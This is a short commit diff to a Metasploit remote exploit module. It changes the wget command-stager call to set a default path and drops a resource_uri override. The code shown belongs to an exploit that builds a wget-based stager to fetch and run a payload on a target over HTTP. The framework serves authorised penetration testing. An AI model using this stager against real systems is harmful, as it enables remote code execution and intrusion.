Specify default resource in start_service

This eliminates the need to override resource_uri. Depends on #8078.
bug/bundler_fix
William Vu 2017-03-09 02:53:39 -06:00
parent fbf7f55485
commit 081ca17ebf
1 changed files with 1 additions and 6 deletions

View File

@ -83,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
return if check == CheckCode::Safe
@cmdstager = generate_cmdstager(flavor: :wget).join(';')
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
send_request_cgi(
'method' => 'GET',
@ -101,9 +101,4 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
# XXX: This is the only way to force this resource
def resource_uri
'/'
end
end